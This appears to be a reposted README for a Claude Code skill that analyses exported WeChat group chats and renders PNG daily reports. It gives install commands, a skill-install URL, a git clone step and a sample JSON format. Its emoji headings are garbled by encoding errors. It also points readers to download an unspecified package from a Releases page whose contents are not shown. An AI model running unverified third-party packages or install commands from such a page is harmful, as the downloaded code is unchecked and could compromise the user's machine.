leonense22

🌟 wechat-daily-report-skill - Effortlessly Generate WeChat Reports

Download WeChat Daily Report Skill

πŸš€ Getting Started

Welcome to the WeChat Daily Report Generator! This tool helps you analyze WeChat group chat records, using AI to produce elegant reports in PNG format for your mobile device. Follow these steps to download, install, and run the application.

πŸ“₯ Download & Install

  1. Visit the Releases Page: Go to the Releases page.
  2. Download the Latest Version: Look for the latest release. Click on the link to download the software package suited for your system.

πŸ–₯️ System Requirements

πŸ› οΈ Install Dependencies

After downloading, open your terminal or command prompt and install the required Python libraries. Run these commands:

pip install jieba jinja2 playwright
playwright install chromium

These libraries help the application analyze chat records and generate reports in a user-friendly format.

πŸ“š Usage Steps

Step 1: Install Skill

Automatic Installation (Recommended): Open your terminal and run the command below:

npx skills add https://github.com/ADVISORYDZ/wechat-daily-report-skill

Manual Installation: If you prefer, you can manually clone the repository into your Claude Skills directory. If the directory does not exist, create it first.

cd ~/.claude/skills/
git clone https://github.com/ADVISORYDZ/wechat-daily-report-skill.git

Step 2: Obtain Chat Records

Use the WeFlow tool to export the WeChat chat records you wish to analyze. Ensure you select the ChatLab export format.

Step 3: Run the Tool

To generate your report, open Claude Code and enter the following command:

β€œGenerate [Group Name] Daily Report”

Claude will then call the necessary scripts, analyze your chat records, and create a beautifully designed report.

πŸ“‚ Data Formats

Input Chat Record JSON Structure

Prepare your chat records in this JSON format to ensure compatibility with the tool:

{
  "meta": {
    "group_name": "[Your Group Name]",
    "date": "[YYYY-MM-DD]"
  },
  "messages": [
    {
      "user": "[Username]",
      "content": "[Message Content]",
      "timestamp": "[Timestamp]"
    }
  ]
}

This structure helps the application understand your chat history and generate the report accurately.

πŸ“ Features Overview

βš™οΈ Troubleshooting

If you encounter issues:

  1. Check Python Version: Ensure you are using Python 3.8 or higher.
  2. Dependencies: Confirm that all required libraries are installed correctly.
  3. Invalid JSON: Verify that your chat records are in the correct JSON format.

πŸ“– Additional Information

For advanced configurations, system optimizations, or detailed usage tips, please refer to the project documentation hosted on the GitHub repository.


Your journey to analyzing WeChat chats with style starts here. Enjoy generating your reports!